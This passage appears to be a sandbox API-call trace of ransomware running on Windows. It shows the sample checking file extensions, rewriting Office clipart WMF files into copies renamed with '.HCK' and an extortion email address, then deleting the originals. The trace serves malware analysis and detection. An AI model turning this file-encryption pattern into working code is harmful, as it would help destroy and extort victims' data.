returned -1 [0178.866] lstrlenW (lpString=".pdf") returned 4 [0178.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString=".xls") returned 4 [0178.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.866] lstrlenW (lpString=".xlsx") returned 5 [0178.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.866] lstrlenW (lpString=".ppt") returned 4 [0178.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString=".zip") returned 4 [0178.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.866] lstrlenW (lpString=".rar") returned 4 [0178.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString=".bz2") returned 4 [0178.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString=".7z") returned 3 [0178.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString=".dbf") returned 4 [0178.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString=".1cd") returned 4 [0178.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString=".jpg") returned 4 [0178.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString=".doc") returned 4 [0178.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString=".docx") returned 5 [0178.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.866] lstrlenW (lpString=".pdf") returned 4 [0178.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString=".xls") returned 4 [0178.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.866] lstrlenW (lpString=".xlsx") returned 5 [0178.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.866] lstrlenW (lpString=".ppt") returned 4 [0178.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.866] lstrlenW (lpString=".zip") returned 4 [0178.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.866] lstrlenW (lpString=".rar") returned 4 [0178.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.866] lstrlenW (lpString=".bz2") returned 4 [0178.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.867] lstrlenW (lpString=".7z") returned 3 [0178.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.867] lstrlenW (lpString=".dbf") returned 4 [0178.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.867] lstrlenW (lpString=".1cd") returned 4 [0178.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 68 [0178.867] lstrlenW (lpString=".jpg") returned 4 [0178.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.867] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.867] lstrlenW (lpString="NA02388_.WMF") returned 12 [0178.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.869] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3204) returned 1 [0178.869] CloseHandle (hObject=0x300) returned 1 [0178.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf")) returned 0x220 [0178.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.877] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.877] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.881] GetLastError () returned 0x0 [0178.881] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xc84, lpOverlapped=0x0) returned 1 [0178.882] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xc90, lpOverlapped=0x0) returned 1 [0178.882] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.882] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.883] SetEndOfFile (hFile=0x300) returned 1 [0178.884] CloseHandle (hObject=0x300) returned 1 [0178.884] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.884] SetEndOfFile (hFile=0x39c) returned 1 [0178.886] CloseHandle (hObject=0x39c) returned 1 [0178.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf")) returned 1 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString=".doc") returned 4 [0178.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString=".docx") returned 5 [0178.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.889] lstrlenW (lpString=".pdf") returned 4 [0178.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString=".xls") returned 4 [0178.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.889] lstrlenW (lpString=".xlsx") returned 5 [0178.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.889] lstrlenW (lpString=".ppt") returned 4 [0178.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString=".zip") returned 4 [0178.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.889] lstrlenW (lpString=".rar") returned 4 [0178.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString=".bz2") returned 4 [0178.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString=".7z") returned 3 [0178.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString=".dbf") returned 4 [0178.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString=".1cd") returned 4 [0178.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString=".jpg") returned 4 [0178.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString=".doc") returned 4 [0178.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString=".docx") returned 5 [0178.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.889] lstrlenW (lpString=".pdf") returned 4 [0178.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString=".xls") returned 4 [0178.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.889] lstrlenW (lpString=".xlsx") returned 5 [0178.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.889] lstrlenW (lpString=".ppt") returned 4 [0178.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.889] lstrlenW (lpString=".zip") returned 4 [0178.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.889] lstrlenW (lpString=".rar") returned 4 [0178.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString=".bz2") returned 4 [0178.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.889] lstrlenW (lpString=".7z") returned 3 [0178.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.890] lstrlenW (lpString=".dbf") returned 4 [0178.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.890] lstrlenW (lpString=".1cd") returned 4 [0178.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 68 [0178.890] lstrlenW (lpString=".jpg") returned 4 [0178.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.890] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.890] lstrlenW (lpString="NA02400_.WMF") returned 12 [0178.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.891] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3364) returned 1 [0178.891] CloseHandle (hObject=0x300) returned 1 [0178.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf")) returned 0x220 [0178.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.896] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.896] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.900] GetLastError () returned 0x0 [0178.900] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xd24, lpOverlapped=0x0) returned 1 [0178.903] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xd30, lpOverlapped=0x0) returned 1 [0178.903] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.903] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.903] SetEndOfFile (hFile=0x3a4) returned 1 [0178.906] CloseHandle (hObject=0x3a4) returned 1 [0178.909] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.909] SetEndOfFile (hFile=0x2fc) returned 1 [0178.913] CloseHandle (hObject=0x2fc) returned 1 [0178.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf")) returned 1 [0178.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.914] lstrlenW (lpString=".doc") returned 4 [0178.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.914] lstrlenW (lpString=".docx") returned 5 [0178.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.914] lstrlenW (lpString=".pdf") returned 4 [0178.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.914] lstrlenW (lpString=".xls") returned 4 [0178.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.914] lstrlenW (lpString=".xlsx") returned 5 [0178.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.914] lstrlenW (lpString=".ppt") returned 4 [0178.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.914] lstrlenW (lpString=".zip") returned 4 [0178.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.914] lstrlenW (lpString=".rar") returned 4 [0178.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.914] lstrlenW (lpString=".bz2") returned 4 [0178.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.914] lstrlenW (lpString=".7z") returned 3 [0178.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.914] lstrlenW (lpString=".dbf") returned 4 [0178.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.914] lstrlenW (lpString=".1cd") returned 4 [0178.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.914] lstrlenW (lpString=".jpg") returned 4 [0178.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.915] lstrlenW (lpString=".doc") returned 4 [0178.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.915] lstrlenW (lpString=".docx") returned 5 [0178.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.915] lstrlenW (lpString=".pdf") returned 4 [0178.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.915] lstrlenW (lpString=".xls") returned 4 [0178.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.915] lstrlenW (lpString=".xlsx") returned 5 [0178.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.915] lstrlenW (lpString=".ppt") returned 4 [0178.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.915] lstrlenW (lpString=".zip") returned 4 [0178.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.915] lstrlenW (lpString=".rar") returned 4 [0178.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.915] lstrlenW (lpString=".bz2") returned 4 [0178.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.915] lstrlenW (lpString=".7z") returned 3 [0178.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.915] lstrlenW (lpString=".dbf") returned 4 [0178.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.915] lstrlenW (lpString=".1cd") returned 4 [0178.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 68 [0178.915] lstrlenW (lpString=".jpg") returned 4 [0178.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.915] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.915] lstrlenW (lpString="NA02413_.WMF") returned 12 [0178.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.917] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10476) returned 1 [0178.917] CloseHandle (hObject=0x3a4) returned 1 [0178.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf")) returned 0x220 [0178.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.924] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.924] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.926] GetLastError () returned 0x0 [0178.926] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x28ec, lpOverlapped=0x0) returned 1 [0178.927] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x28f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x28f0, lpOverlapped=0x0) returned 1 [0178.928] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.928] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.928] SetEndOfFile (hFile=0x300) returned 1 [0178.930] CloseHandle (hObject=0x300) returned 1 [0178.932] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.933] SetEndOfFile (hFile=0x2fc) returned 1 [0178.935] CloseHandle (hObject=0x2fc) returned 1 [0178.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf")) returned 1 [0178.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.938] lstrlenW (lpString=".doc") returned 4 [0178.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.938] lstrlenW (lpString=".docx") returned 5 [0178.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.938] lstrlenW (lpString=".pdf") returned 4 [0178.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.938] lstrlenW (lpString=".xls") returned 4 [0178.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.938] lstrlenW (lpString=".xlsx") returned 5 [0178.938] lstrcmpiW 